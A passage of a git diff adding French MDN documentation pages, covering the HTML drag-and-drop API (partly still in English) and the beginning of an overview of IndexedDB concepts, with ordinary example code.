+<p>Dans ce cas, la valeur de la donnée est "Texte à glisser" et son format est <a class="internal" href="/Fr/GlisserD%C3%A9poser/Types_de_glissement_recommand%C3%A9s#text" title="Fr/GlisserDéposer/Types de glissement recommandés#text">text/plain</a>.</p>
+
+<p>Vous pouvez fournir une donnée dans de multiples formats. Il suffit d'appeler la méthode <a class="internal" href="/Fr/GlisserD%C3%A9poser/DataTransfer#setData" title="Fr/GlisserDéposer/DataTransfer#setData">setData</a> plusieurs fois avec chacun des formats. Vous devez l'appeler dans l'ordre du format le plus spécifique au moins spécifique.</p>
+
+<pre>var dt = event.dataTransfer;
+dt.setData("application/x-bookmark", bookmarkString);
+dt.setData("text/uri-list", "http://www.mozilla.org");
+dt.setData("text/plain", "http://www.mozilla.org");
+</pre>
+
+<p>Ici, une donnée est ajoutée avec trois types différents. Le premier type 'application/x-bookmark' est un type personnalisé. Toutes les applications ne vont pas supporter ce type, mais vous pouvez l'utiliser pour le glissement entre des zones d'une même application ou d'un même site. En fournissant la donnée avec d'autres types, vous la rendez disponible à moindre échelle pour d'autres applications. Le type 'application/x-bookmark' fournira ainsi plus de détail à l'application qu'avec les autres types qui ne seraient que de simples liens ou textes.</p>
+
+<p>Notez que cet exemple, <a class="internal" href="/Fr/GlisserD%C3%A9poser/Types_de_glissement_recommand%C3%A9s#link" title="Fr/GlisserDéposer/Types de glissement recommandés#link">text/uri-list</a> et <a class="internal" href="/Fr/GlisserD%C3%A9poser/Types_de_glissement_recommand%C3%A9s#text" title="Fr/GlisserDéposer/Types de glissement recommandés#text">text/plain</a> contiennent la même donnée. C'est souvent le cas, mais pas forcément nécessaire.</p>
+
+<p>Si vous essayez d'ajouter une donnée deux fois avec le même format, alors la nouvelle donnée remplacera l'ancienne, mais à la même position que l'ancienne dans la liste.</p>
+
+<p>Vous pouvez effacer la donnée en utilisant la méthode <a class="internal" href="/Fr/GlisserD%C3%A9poser/DataTransfer#clearData" title="Fr/GlisserDéposer/DataTransfer#clearData">clearData</a>, avec un seul argument qui est le type de la donnée à effacer.</p>
+
+<pre>event.dataTransfer.clearData("text/uri-list");
+</pre>
+
+<p>L'argument de type de la méthode <a class="internal" href="/Fr/GlisserD%C3%A9poser/DataTransfer#clearData" title="Fr/GlisserDéposer/DataTransfer#clearData">clearData</a> est optionnel. S'il n'est pas précisé, la donnée associée à tous les types est effacée. Et si aucune donnée à glisser n'est ajoutée, alors l'opération de glissement ne s'effectue pas.</p>
+
+<h2 id="dragfeedback" name="dragfeedback">Définir l'image filigrane d'un glissement</h2>
+
+<p>Lorsqu'un glissement a lieu, une image translucide est générée à partir de l'origine du glissement (l'élément d'origine ayant déclenché l'événement), et cette image suit le déplacement de la souris. Elle est créée automatiquement donc vous n'avez pas à le faire vous même. Toutefois, vous pouvez personnaliser cette image filigrane grâce à <a class="internal" href="/Fr/GlisserD%C3%A9poser/DataTransfer#setDragImage" title="Fr/GlisserDéposer/DataTransfer#setDragImage">setDragImage</a>.</p>
+
+<pre>event.dataTransfer.setDragImage(image, xOffset, yOffset);
+</pre>
+
+<p>Trois arguments sont nécessaires. Le premier est la référence à une image. Cette référence pointera en gérénal vers un élément image, mais elle peut pointer aussi vers un canvas ou vers tous autres éléments. L'image filigrane sera simplement générée telle qu'elle ressemble à l'écran, et dessinée à sa taille d'origine. Il est également possible d'utiliser des images et des canvas qui ne sont pas dans un document, comme le montre cet exemple :</p>
+
+<pre>function dragWithCustomImage(event)
+{
+  var canvas = document.createElement("canvas");
+  canvas.width = canvas.height = 50;
+
+  var ctx = canvas.getContext("2d");
+  ctx.lineWidth = 4;
+  ctx.moveTo(0, 0);
+  ctx.lineTo(50, 50);
+  ctx.moveTo(0, 50);
+  ctx.lineTo(50, 0);
+  ctx.stroke();
+
+  var dt = event.dataTransfer;
+  dt.setData('text/plain', 'Data to Drag');
+  dt.setDragImage(canvas, 25, 25);
+}
+</pre>
+
+<p>Cette technique est utile pour dessiner des images filigranes personnalisées en utilisant l'élément canvas.</p>
+
+<p>Les deuxième et troisième arguments de la méthode <a class="internal" href="/Fr/GlisserD%C3%A9poser/DataTransfer#setDragImage" title="Fr/GlisserDéposer/DataTransfer#setDragImage">setDragImage</a> sont les décalages de l'image par rapport au pointeur de la souris. Dans cet exemple, comme le canvas fait 50 pixels de large et 50 pixels de haut, nous utilisons son centre (soit 25 et 25) pour que l'image soit centrée sur le pointeur de la souris.</p>
+
+<h2 id="drageffects" name="drageffects">Effets du glissement</h2>
+
+<p>Lors d'un glisser/déposer, plusieur opérations se déroulent. L'opération <code>copy</code> indique que la donnée glissée sera copiée de son emplacement d'origine au lieu de dépot. L'opération <code>move</code> indique que la donnée glissée sera déplacée, et l'opération <code>link</code> indique une forme de relation ou de connexion entre l'origine et le lieu de dépot.</p>
+
+<p>Vous pouvez spécifier laquelle de ces trois opérations sera autorisée au niveau de l'origine du glissement, en définissant la propriété <a class="internal" href="/Fr/GlisserD%C3%A9poser/DataTransfer#effectAllowed" title="Fr/GlisserDéposer/DataTransfer#effectAllowed">effectAllowed</a> dans un scrutateur d'événement <code>dragstart</code>.</p>
+
+<pre>event.dataTransfer.effectAllowed = "copy";
+</pre>
+
+<p>Dans cet exemple, seule une copie n'est autorisée. Vous pouvez combiner les valeurs de plusieurs façons :</p>
+
+<dl>
+ <dt>none</dt>
+ <dd>Aucune opération permise</dd>
+ <dt>copy</dt>
+ <dd>Copie uniquement</dd>
+ <dt>move</dt>
+ <dd>Déplacement uniquement</dd>
+ <dt>link</dt>
+ <dd>Lien uniquement</dd>
+ <dt>copyMove</dt>
+ <dd>Copie ou déplacement uniquement</dd>
+ <dt>copyLink</dt>
+ <dd>Copie ou lien uniquement</dd>
+ <dt>linkMove</dt>
+ <dd>Lien ou déplacement uniquement</dd>
+ <dt>all</dt>
+ <dd>Copie, déplacement ou lien</dd>
+</dl>
+
+<p>Notez que ces valeurs doivent être écrites exactement comme cela. Si vous ne modifiez pas la propriété <a class="internal" href="/Fr/GlisserD%C3%A9poser/DataTransfer#effectAllowed" title="Fr/GlisserDéposer/DataTransfer#effectAllowed">effectAllowed</a>, alors tous les opérations seront permises comme pour la valeur 'all'. L'usage de cette propriété intervient seulement si vous souhaitez exclure des types spécifiques.</p>
+
+<p>Pendant une opération de glissement, un scrutateur pour les événements <code>dragenter</code> ou <code>dragover</code> peut tester la propriété <a class="internal" href="/Fr/GlisserD%C3%A9poser/DataTransfer#effectAllowed" title="Fr/GlisserDéposer/DataTransfer#effectAllowed">effectAllowed</a> afin de voir quelles opérations sont autorisées. La propriété associée <a class="internal" href="/Fr/GlisserD%C3%A9pose/DataTransfer#dropEffect" title="Fr/GlisserDépose/DataTransfer#dropEffect">dropEffect</a> doit être définie dans un de ces événements pour spécifier ce que chaque opération aura à faire. Les valeurs valides pour <a class="internal" href="/Fr/GlisserD%C3%A9pose/DataTransfer#dropEffect" title="Fr/GlisserDépose/DataTransfer#dropEffect">dropEffect</a> sont <code>none</code>, <code>copy</code>, <code>move</code> ou <code>link</code>. Il n'y a pas de combinaison pour cette propriété.</p>
+
+<p>Pour les événements <code>dragenter</code> et <code>dragover</code>, la propriété <a class="internal" href="/Fr/GlisserD%C3%A9pose/DataTransfer#dropEffect" title="Fr/GlisserDépose/DataTransfer#dropEffect">dropEffect</a> est initialisée avec l'effet attendu par l'utilisateur. L'utilisateur peut modifier l'effet désiré en appuyant sur une touche de modification. Bien que les touches varient selon la plateforme, habituellement, il s'agit d'une combinaison des touches Maj et Control qui permettent de copier, déplacer et créer un raccourci. Le pointeur de la souris change de forme pour montrer l'opération souhaitée, par exemple un signe + à côté de la souris pour une copie.</p>
+
+<p>Vous pouvez modifier les propriétés <a class="internal" href="/Fr/GlisserD%C3%A9poser/DataTransfer#effectAllowed" title="Fr/GlisserDéposer/DataTransfer#effectAllowed">effectAllowed</a> et <a class="internal" href="/Fr/GlisserD%C3%A9pose/DataTransfer#dropEffect" title="Fr/GlisserDépose/DataTransfer#dropEffect">dropEffect</a> pendant les événements <code>dragenter</code> ou <code>dragover</code>, si par exemple une cible ne supporte qu'un seul type d'opération. La modification de la propriété <a class="internal" href="/Fr/GlisserD%C3%A9poser/DataTransfer#effectAllowed" title="Fr/GlisserDéposer/DataTransfer#effectAllowed">effectAllowed</a> vous permet de spécifier les opérations autorisées sur une cible donnée. Par exemple, mettre une propriété <code>copyMove</code> permet des opération de copie ou de déplacement, mais pas de créer un lien raccourci.</p>
+
+<p>Vous pouvez modifier la propriété <a class="internal" href="/Fr/GlisserD%C3%A9pose/DataTransfer#dropEffect" title="Fr/GlisserDépose/DataTransfer#dropEffect">dropEffect</a> en remplaçant l'effet de l'utilisateur, et forcer à obtenir une opération spécifique. Notez que cet effet doit être un de ceux listé dans la propriété <a class="internal" href="/Fr/GlisserD%C3%A9poser/DataTransfer#effectAllowed" title="Fr/GlisserDéposer/DataTransfer#effectAllowed">effectAllowed</a>, sinon une valeur alternative sera attribuée.</p>
+
+<pre>event.dataTransfer.effectAllowed = "copyMove";
+event.dataTransfer.dropEffect = "copy";
+</pre>
+
+<p>Dans cet exemple, la copie est l'effet proposé qui est inclus dans la liste des effets autorisés.</p>
+
+<p>Vous pouvez utiliser la valeur <code>none</code> pour interdir tout dépôt à cet emplacement.</p>
+
+<h2 id="droptargets" name="droptargets">Spécifier les cibles de dépôt</h2>
+
+<p>Un scrutateur pour les événements <code>dragenter</code> et <code>dragover</code> est utilisé pour indiquer des cibles de dépôt valides, c'est-à-dire là où les items pourront être déposés. La plupart des zones d'une page Web ne sont pas des endroits valides pour déposer des données. Ainsi, le comportement par défaut pour ces événements ne permet pas un dépôt.</p>
+
+<p>Si vous voulez autoriser un dépôt, vous devez empêcher le comportement par défaut en annulant l'événement. Il suffit soit de retourner <code>false</code> à partir d'un scrutateur d'événement, ou par l'appel de la méthode événementielle <a class="internal" href="/fr/DOM/event.preventDefault" title="fr/DOM/event.preventDefault">event.preventDefault</a>. Cette dernière solution est plus faisable avec une fonction définie dans un script séparé.</p>
+
+<pre>&lt;div ondragover="return false"&gt;
+&lt;div ondragover="event.preventDefault()"&gt;
+</pre>
+
+<p>L'appel de la méthode <a class="internal" href="/fr/DOM/event.preventDefault" title="fr/DOM/event.preventDefault">event.preventDefault</a> pendant les événements <code>dragenter</code> et <code>dragover</code> indiquera qu'un dépôt est permis à cet endroit. Toutefois, il est fréquent d'appeler la méthode <a class="internal" href="/fr/DOM/event.preventDefault" title="fr/DOM/event.preventDefault">event.preventDefault</a> seulement dans certaines situations, par exemple si un lien est en train d'être glissé. Pour cela, appelez une fonction qui testera une condition et annulera l'événement seulement si cette condition est rencontrée. Dans le cas contraire, il suffit de ne pas annuler l'événement et aucun dépôt ne se réalisera si l'utilisateur lache le bouton de la souris.</p>
+
+<p>Il est plus fréquent d'accepter ou non un dépôt en fonction du type de la donnée glissée. Par exemple, permettre les images ou les liens, ou bien les deux. Pour cela, testez les <a class="internal" href="/fr/GlisserD%C3%A9poser/DataTransfer#types" title="fr/GlisserDéposer/DataTransfer#types">types</a> de l'objet <code>dataTransfer</code>. Les types sont sous la forme d'une liste de chaînes de caractères ajoutées au début du glissement, du plus signifiant au moins signifiant.</p>
+
+<pre>function doDragOver(event)
+{
+  var isLink = event.dataTransfer.types.contains("text/uri-list");
+  if (isLink)
+    event.preventDefault();
+}
+</pre>
+
+<p>Dans cet exemple, la méthode <code>contains</code> est utilisée pour vérifier si le type <a class="internal" href="/fr/GlisserD%C3%A9poser/Types_de_glissement_recommand%C3%A9s#link" title="fr/GlisserDéposer/Types de glissement recommandés#link">text/uri-list</a> est présent dans la liste des types. S'il l'est, l'événement est annulé, ce qui autorise un dépôt. Si la donnée ne contient pas un lien, l'événement ne sera pas annulé et le dépôt ne sera pas autorisé à cet endroit.</p>
+
+<p>Vous pouvez également définir une propriété <a class="internal" href="/fr/GlisserD%C3%A9poser/DataTransfer#effectAllowed" title="fr/GlisserDéposer/DataTransfer#effectAllowed">effectAllowed</a> ou <a class="internal" href="/fr/GlisserD%C3%A9poser/DataTransfer#dropEffect" title="fr/GlisserDéposer/DataTransfer#dropEffect">dropEffect</a> ou les deux à la fois si vous souhaitez être plus précis sur le type d'opération autorisé. Naturellement, le changement de propriété n'aura aucun effet si vous n'avez pas annulé l'événement.</p>
+
+<h2 id="dropfeedback" name="dropfeedback">Retour d'information du dépôt</h2>
+
+<p>Il y a de nombreuses manières d'indiquer à l'utilisateur que le dépot est autorisé dans une certaine zone. Le pointeur de la souris va être mis à jour en fonction de la valeur de la propriété <a href="/En/DragDrop/DataTransfer#dropEffect.28.29" title="dropEffect">dropEffect</a>. L'apparence exacte dépend de la plateforme de l'utilisateur, généralement il s'agit d'un icone représentant un signe plus qui apparaît pour une copie par exemple, et un 'impossible de déposer ici' peut apparaître quand le dépôt n'est pas autorisé. Cette information contextuelle est suffisante dans la plupart des cas.</p>
+
+<p>De plus, vous pouvez aussi mettre à jour l'interface utilisateur en surlignant au besoin. Pour un simple surlignage, vous pouvez utiliser la pseudo-classe <code>-moz-drag-over</code>sur la cible du dépôt.</p>
+
+<pre>.droparea:-moz-drag-over {
+  border: 1px solid black;
+}
+</pre>
+
+<p>Dans cet example, l'élement comportant la classe <code>droparea</code> va recevoir un bord noir de un pixel tant que la cible sera valide, ce qui est le cas, si la méthode <a href="/en/DOM/event.preventDefault" title="en/DOM/event.preventDefault">event.preventDefault</a> est appelé durant l'évenement <code>dragenter</code>. Il est à noter que vous devez annuler l'évenement <code>dragenter</code> de cette pseudo-classe tant que l'état n'est pas verifié par l'évenement <code>dragover</code>.</p>
+
+<p>For more complex visual effects, you can also perform other operations during the <code>dragenter</code> event, for example, by inserting an element at the location where the drop will occur. For example, this might be an insertion marker or an element that represents the dragged element in its new location. To do this, you could create an <a href="/en/XUL/image" title="image">image</a> or <a href="/en/XUL/separator" title="separator">separator</a> element for example, and simply insert it into the document during the <code>dragenter</code> event.</p>
+
+<p>The <code>dragover</code> event will fire at the element the mouse is pointing at. Naturally, you may need to move the insertion marker around a <code>dragover</code> event as well. You can use the event's <a href="/en/DOM/event.clientX" title="clientX">clientX</a> and <a href="/en/DOM/event.clientY" title="clientY">clientY</a> properties as with other mouse events to determine the location of the mouse pointer.</p>
+
+<p>Finally, the <code>dragleave</code> event will fire at an element when the drag leaves the element. This is the time when you should remove any insertion markers or highlighting. You do not need to cancel this event. Any highlighting or other visual effects specified using the <code>-moz-drag-over</code> pseudoclass will be removed automatically. The <code>dragleave</code> event will always fire, even if the drag is cancelled, so you can always ensure that any insertion point cleanup can be done during this event.</p>
+
+<h2 id="drop" name="drop">Performing a Drop</h2>
+
+<p>When the user releases the mouse, the drag and drop operation ends. If the mouse was released over an element that is a valid drop target, that is, one that cancelled the last <code>dragenter</code> or <code>dragover</code> event, then the drop will be successful, and a <code>drop</code> event will fire at the target. Otherwise, the drag operation is cancelled and no <code>drop</code> event is fired.</p>
+
+<p>During the <code>drop</code> event, you should retrieve that data that was dropped from the event and insert it at the drop location. You can use the <a href="/En/DragDrop/DataTransfer#dropEffect.28.29" title="dropEffect">dropEffect</a> property to determine which drag operation was desired.</p>
+
+<p>As with all drag related events, the event's <code>dataTransfer</code> property will hold the data that is being dragged. The <a href="/En/DragDrop/DataTransfer#getData.28.29" title="getData">getData</a> method may be used to retrieve the data again.</p>
+
+<pre>function onDrop(event)
+{
+  var data = event.dataTransfer.getData("text/plain");
+  event.target.textContent = data;
+  event.preventDefault();
+}
+</pre>
+
+<p>The <a href="/En/DragDrop/DataTransfer#getData.28.29" title="getData">getData</a> method takes one argument, the type of data to retrieve. It will return the string value that was set when the <a href="/En/DragDrop/DataTransfer#setData.28.29" title="setData">setData</a> was called at the beginning of the drag operation. An empty string will be returned if data of that type does not exist. Naturally though, you would likely know that the right type of data was available, as it was previously checked during a <code>dragover</code> event.</p>
+
+<p>In the example here, once we have retrieved the data, we insert the string as the textual content of the target. This has the effect of inserting the dragged text where it was dropped, assuming that the drop target is an area of text such as a <code>p</code> or <code>div</code> element.</p>
+
+<p>In a web page, you should call the <a href="/en/DOM/event.preventDefault" title="en/DOM/event.preventDefault">preventDefault</a> method of the event if you have accepted the drop so that the default browser handling does not handle the droppped data as well. For example, when a link is dragged to a web page, Firefox will open the link. By cancelling the event, this behaviour will be prevented.</p>
+
+<p>You can retrieve other types of data as well. If the data is a link, it should have the type <a href="/En/DragDrop/Recommended_Drag_Types#link" title="text/uri-list">text/uri-list</a>. You could then insert a link into the content.</p>
+
+<pre>function doDrop(event)
+{
+  var links = event.dataTransfer.getData("text/uri-list").split("\n");
+  for each (var link in links) {
+    if (link.indexOf("#") == 0)
+      continue;
+
+    var newlink = document.createElement("a");
+    newlink.href = link;
+    newlink.textContent = link;
+    event.target.appendChild(newlink);
+  }
+  event.preventDefault();
+}
+</pre>
+
+<p>This example inserts a link from the dragged data. As you might be able to guess from the name, the <a href="/En/DragDrop/Recommended_Drag_Types#link" title="text/uri-list">text/uri-list</a> type actually may contain a list of URLs, each on a separate line. In this code, we use the <a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/String/split" title="split">split</a> to split the string into lines, then iterate over the list of lines, inserting each as a link into the document. Note also that we skip links starting with a number sign (#) as these are comments.</p>
+
+<p>For simple cases, you can use the special type <code>URL</code> to just retrieve the first valid URL in the list. For example:</p>
+
+<pre>var link = event.dataTransfer.getData("URL");
+</pre>
+
+<p>This eliminates the need to check for comments or iterate through lines yourself, however it is limited to only the first URL in the list.</p>
+
+<p>The <code>URL</code> type is a special type used only as a shorthand, and it does not appear within the list of types specified in the <a href="/En/DragDrop/DataTransfer#types.28.29" title="types">types</a> property.</p>
+
+<p>Sometimes you may support a number of different formats, and you want to retrieve the data that is most specific that is supported. In this example, three formats are support by a drop target.</p>
+
+<p>The following example returns the data associated with the best supported format:</p>
+
+<pre>function doDrop(event)
+{
+  var types = event.dataTransfer.types;
+  var supportedTypes = ["application/x-moz-file", "text/uri-list", "text/plain"];
+  types = supportedTypes.filter(function (value) types.contains(value));
+  if (types.length)
+    var data = event.dataTransfer.getData(types[0]);
+  event.preventDefault();
+}
+</pre>
+
+<p>This method relies on JavaScript functionality available in Firefox 3. However the code could be adjusted to support other platforms.</p>
+
+<h2 id="dragend" name="dragend">Finishing a Drag</h2>
+
+<p>Once the drag is complete, a <code>dragend</code> is fired at the source of the drag (the same element that received the <code>dragstart</code> event). This event will fire if the drag was successful or if it was cancelled. However, you can use the <a href="/En/DragDrop/DataTransfer#dropEffect.28.29" title="dropEffect">dropEffect</a> to determine what drop operation occurred.</p>
+
+<p>If the <a href="/En/DragDrop/DataTransfer#dropEffect.28.29" title="dropEffect">dropEffect</a> property has the value <code>none</code> during a <code>dragend</code>, then the drag was cancelled. Otherwise, the effect specifies which operation was performed. The source can use this information after a move operation to remove the dragged item from the old location. The <a href="/En/DragDrop/DataTransfer#mozUserCancelled.28.29" title="dropEffect">mozUserCancelled</a> property will be set to true if the user cancelled the drag (by pressing Escape), and false if the drag was cancelled for other reasons such as an invalid drop target, or if was successful.</p>
+
+<p>A drop can occur inside the same window or over another application. The <code>dragend</code> event will always fire regardless. The event's <a href="/en/DOM/event.screenX" title="screenX">screenX</a> and <a href="/en/DOM/event.screenY" title="screenY">screenY</a> properties will be set to the screen coordinate where the drop occurred.</p>
+
+<p>After the <code>dragend</code> event has finished propagating, the drag and drop operation is complete.</p>
diff --git a/files/fr/web/api/api_indexeddb/basic_concepts_behind_indexeddb/index.html b/files/fr/web/api/api_indexeddb/basic_concepts_behind_indexeddb/index.html
new file mode 100644
index 0000000000..cb05bef3fe
--- /dev/null
+++ b/files/fr/web/api/api_indexeddb/basic_concepts_behind_indexeddb/index.html
@@ -0,0 +1,209 @@
+---
+title: Les concepts basiques d'IndexedDB
+slug: Web/API/API_IndexedDB/Basic_Concepts_Behind_IndexedDB
+tags:
+  - Avancé
+  - IndexedDB
+  - concepts
+translation_of: Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB
+---
+<p>{{DefaultAPISidebar("IndexedDB")}}</p>
+
+<p class="summary"><strong>IndexedDB</strong> est un moyen pour permettre le stockage de données dans le navigateur d'un utilisateur, de manière persistante. Ses fonctions de recherche avancées permettent de créer des applications qui fonctionnent tant connectées que déconnectées. IndexedDB est utile pour créer des applications qui stockent une grande quantité de données (par exemple : un catalogue de DVDs dans une bibliothèque) et des applications qui n'ont pas forcément besoin d'une connectivité Internet continue (par exemple : des clients de messagerie électronique, des listes de tâches, des bloc-notes).</p>
+
+<h2 id="À_propos_de_ce_document">À propos de ce document</h2>
+
+<p>Ce document introduit les concepts et les termes essentiels d'IndexedDB. Vous aurez une vue d'ensemble et vous comprendrez les concepts-clés.</p>
+
+<p>Vous pourrez trouver ici :</p>
+
+<ul>
+ <li>Pour en savoir plus sur les termes d'IndexedDB, voyez la section <a href="#definitions">Définitions</a>.</li>
+ <li>Pour avoir un tutoriel sur l'utilisation de l'API, voyez <a href="https://developer.mozilla.org/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB" title="en/IndexedDB/IndexedDB primer">Utiliser IndexedDB</a>.</li>
+ <li>Pour la documentation de référence sur l'API IndexedDB, voyez l'article <a href="https://developer.mozilla.org/fr/docs/Web/API/API_IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB</a> et ses sous-parties, qui documentent les types d'objets utilisés par IndexedDB.</li>
+ <li>Pour plus d'informations sur la manière dont le navigateur gère vos données en arrière-plan, lisez <a href="https://developer.mozilla.org/fr/docs/Web/API/API_IndexedDB/Browser_storage_limits_and_eviction_criteria">Limites de stockage du navigateur et critères d'éviction</a><a href="https://developer.mozilla.org/fr/docs/Web/API/API_IndexedDB/Browser_storage_limits_and_eviction_criteria">.</a></li>
+</ul>
+
+<h2 id="Vue_densemble_dIndexedDB">Vue d'ensemble d'IndexedDB</h2>
+
+<p>IndexedDB vous permet de stocker et récupérer des objets qui sont indexés avec une "clé". Tous les changements que vous faites dans la base de données sont forcément transactionnels. Comme la plupart des solutions de stockage du web, IndexedDB respecte la politique de sécurité utilisant l'origne (<a class="external" href="http://www.w3.org/Security/wiki/Same_Origin_Policy" title="http://www.w3.org/Security/wiki/Same_Origin_Policy">same-origin policy</a>). Ainsi, vous pouvez accéder aux données stockées d'un domaine, alors que vous ne pouvez pas accéder aux données de domaines différents.</p>
+
+<p>IndexedDB est une API <a href="https://developer.mozilla.org/fr/docs/Web/API/API_IndexedDB#Asynchronous_API" title="/en/IndexedDB#Asynchronous_API">asynchrone</a> qui peut être utilisée dans la plupart des contextes, <a href="https://developer.mozilla.org/fr/docs/Utilisation_des_web_workers" title="/fr/docs/DOM/Using_web_workers">Web Workers</a> inclus. Elle comportait également une version <a href="https://developer.mozilla.org/fr/docs/Web/API/API_IndexedDB#Synchronous_API" title="/en/IndexedDB#Synchronous_API">synchrone</a> prévue pour être utilisée dans des <a href="https://developer.mozilla.org/fr/docs/Utilisation_des_web_workers" title="/fr/docs/DOM/Using_web_workers">Web Workers</a>. mais cette option a été retirée de la spécification en raison du manque d'intérêt de la communauté Web.</p>
+
+<p>IndexedDB est une alternative à l'API WebSQL Database, qui a été dépréciée par le W3C le 18 novembre 2010. Alors que ces APIs sont toutes deux des solutions de stockage, elles n'offrent pas les mêmes fonctionnalités. WebSQL Database est un système d'accès à une base de données relationnelle alors qu'IndexedDB est un système de table indexée. </p>
+
+<h2 id="concepts" name="concepts">Les grands concepts</h2>
+
+<p>Si vous avez l'habitude de travailler avec d'autres types de bases de données, vous pourrez être désorienté par l'utlisation d'IndexedDB. Mais il suffit de garder les concepts importants suivants en tête :</p>
+
+<ul>
+ <li><strong>Les bases de données IndexedDB stockent des paires clé-valeur.</strong> Les valeurs peuvent êtres des objets structurés, et les clés peuvent être des propriétés de ces objets. Vous pouvez créer des index à partir de n'importe quelle propriété des objets, pour faciliter la recherche et l'énumération triée. Les clés peuvent être des objets binaires.</li>
+ <li><strong>IndexedDB est construit autour d'un modèle de base de données transactionnelle.</strong> Tout ce que vous faites avec IndexedDB se passe dans le contexte d'une <a href="#gloss_transaction">transaction</a>. L'API IndexedDB fournit beaucoup d'objets qui représentent des index, des tables, des curseurs, etc, mais chacun de ces objets est forcément relié à une transaction donnée. Il n'est pas possible d'exécuter de commandes ou d'ouvrir des curseurs en dehors d'une transaction. Les transactions ont une durée de vie bien définie, donc essayez d'utiliser une transaction après avoir terminé le traitement des exceptions. De plus, les transactions s'engagent automatiquement, elles ne peuvent être lancées manuellement.<br>
+  Ce modèle basé sur des transactions est vraiment utile : rendez-vous compte qu'un utilisateur peut ouvrir deux instances de la même application web dans deux onglets différents en même temps. Si on n'utilisait pas d'opérations transactionnelles, une instance pourrait écraser les modifications de l'autre, et vice versa. Si vous n'êtes pas à l'aise avec la notion de transaction dans une base de données, vous pouvez consulter l'<a href="http://fr.wikipedia.org/wiki/Transaction_%28base_de_donn%C3%A9es%29" title="http://fr.wikipedia.org/wiki/Transaction_%28base_de_donn%C3%A9es%29">article Wikipedia sur les transactions</a>. Vous pouvez aussi voir plus loin la partie <a href="#gloss_transaction">transaction</a> dans la section des définitions.</li>
+ <li><strong>L'API IndexedDB est principalement asynchrone.</strong> L'API ne vous donne pas les données en retournant des valeurs. Au contraire, vous devez utiliser une fonction de rappel ("callback"). Vous ne stockez pas une valeur dans la base de données, ou vous ne récupérez pas une valeur de la base de manière synchrone, mais vous demandez qu'une opération de base de données soit exécutée. Un événement DOM est envoyé lorsque l'opération est terminée, et le type d'événement vous permet de savoir si l'opération a réussi ou échoué. Cela peut sembler un peu compliqué au premier abord, mais après tout, ce n'est pas si différent du fonctionnement de <a href="/fr/docs/XMLHttpRequest" title="/fr/docs/XMLHttpRequest">XMLHttpRequest</a>.</li>
+ <li><strong>IndexedDB utilise de nombreuses requêtes. </strong>Les requêtes sont des objets qui reçoivent les événements DOM de succès ou d'échec mentionnés précédemment. Elles ont des propriétés <code>onsuccess</code> et <code>onerror</code>, et vous pouvez appeler <code>addEventListener()</code> et <code>removeEventListener()</code> sur ces objets. Elles ont aussi les propriétés <code>readyState</code>, <code>result</code>, et <code>errorCode</code> qui vous donnent l'état d'une requête. La propriété <code>result</code> est plutôt magique car elle peut correspondre à beaucoup de choses différentes, en fonction de la manière dont la requête a été créée (par exemple, une instance de <code>IDBCursor</code>, ou la clé de la valeur que vous venez d'insérer dans la base de données.)</li>
+ <li><strong>IndexedDB utilise les évènements DOM pour vous informer quand les résultats sont disponibles.</strong> Les évènements DOM ont toujours une  propriété de <code style="font-size: 14px;">type</code> (dans IndexedDB, sont préférables <code>"success" <em>(succès)</em></code> ou <code>"error" <em>(erreur)</em></code>). Les évènements DOM ont aussi une propriété <code>target</code> <em>(cible) </em>qui dit vers où l'évènement est dirigé. Dans la plupart des cas, la <code>target</code> d'un évènement est l'objet <code>IDBRequest</code> <span id="result_box" lang="fr"><span>qui a été généré à la suite d'une opération de base de données</span></span> . <span id="result_box" lang="fr"><span>Les événements "success" ne se propagent pas et ne peuvent être annulés</span></span> . Les évènements "Error", se propagent et peuvent être annulés. C'est très important, <span id="result_box" lang="fr"><span>lors d'un événement d'erreur, les transactions annulent au fur et à mesure </span></span><span lang="fr"><span> qu'elles s'exécutent, à moins qu'il ne soit annulé</span></span> .</li>
+ <li><strong>IndexedDB est orienté objet.</strong> IndexedDB n'est pas une base de données relationnelle, avec des tables, des colonnes et des lignes. Cette différence importante et fondamentale change votre manière de concevoir et construire vos applications.<br>
+  Dans un espace de stockage de données relationel habituel, on aurait un tableau qui permet de stocker un ensemble de lignes de données, et de colonnes de types nommés de donnée. Avec IndexedDB, au contraire, vous créez un objet de stockage pour un type de données, et les objets JavaScript persistent simplement dans cet espace. Chaque objet de stockage peut utiliser un ensemble d'index qui rendent efficaces la recherche et l'itération. Si les systèmes de base de données orientée objet ne vous sont pas familiers, vous pouvez aller lire l'<a href="http://fr.wikipedia.org/wiki/Base_de_donn%C3%A9es_orient%C3%A9e_objet" title="http://fr.wikipedia.org/wiki/Base_de_donn%C3%A9es_orient%C3%A9e_objet">article Wikipedia sur les bases de données orientées objet</a>.</li>
+ <li><strong>IndexedDB n'utilise pas le langage </strong> <strong>Structured Query Language</strong> (<strong>SQL).</strong> Il utilise des requêtes sur un index pour obtenir un curseur, que l'on utilise ensuite pour parcourir l'ensemble des résultats. Si vous ne connaissez pas bien les systèmes NoSQL, vous pouvez consulter l'<a href="http://fr.wikipedia.org/wiki/NoSQL" title="http://fr.wikipedia.org/wiki/NoSQL">article Wikipedia sur NoSQL</a>.</li>
+ <li><a name="origin"><strong>IndexedDB adhère au principe de same-origin policy <em>(politique de même origine)</em></strong></a>. <span id="result_box" lang="fr"><span>Une origine est le domaine, le protocole d'application et le port URL du document où le script est exécuté.</span></span> Chaque origine <span id="result_box" lang="fr"><span>a son propre ensemble de bases de données associées</span></span> . Chaque base de données a un nom qui l'identifie dans une origine.<br>
+  La limite de sécurité d'IndexedDB empêche les applications d'accèder à des données d'origine différente. Par exemple, alors qu'une application ou une page <a class="external" href="http://www.example.com/app/" rel="freelink">http://www.example.com/app/</a> peut récupérer des données de <a class="external" href="http://www.example.com/dir/" rel="freelink">http://www.example.com/dir/</a>, parce qu'elles ont la même origine, elle ne peut pas récupérer les données de <a class="external" href="http://www.example.com:8080/dir/" rel="freelink">http://www.example.com:8080/dir/</a> (port différent) ni de <a class="link-https" href="https://www.example.com/dir/" rel="freelink">https://www.example.com/dir/</a> (protocole différent), parce que leurs origines sont différentes.</li>
+</ul>
+
+<h2 id="definitions" name="definitions">Définitions</h2>
+
+<p>Cette section définit et explique les termes utilisés dans l'API IndexedDB.</p>
+
+<h3 id="database" name="database">Database <em>(base de données)</em></h3>
+
+<dl>
+ <dt><a name="gloss_database">database<em> (base de données)</em></a></dt>
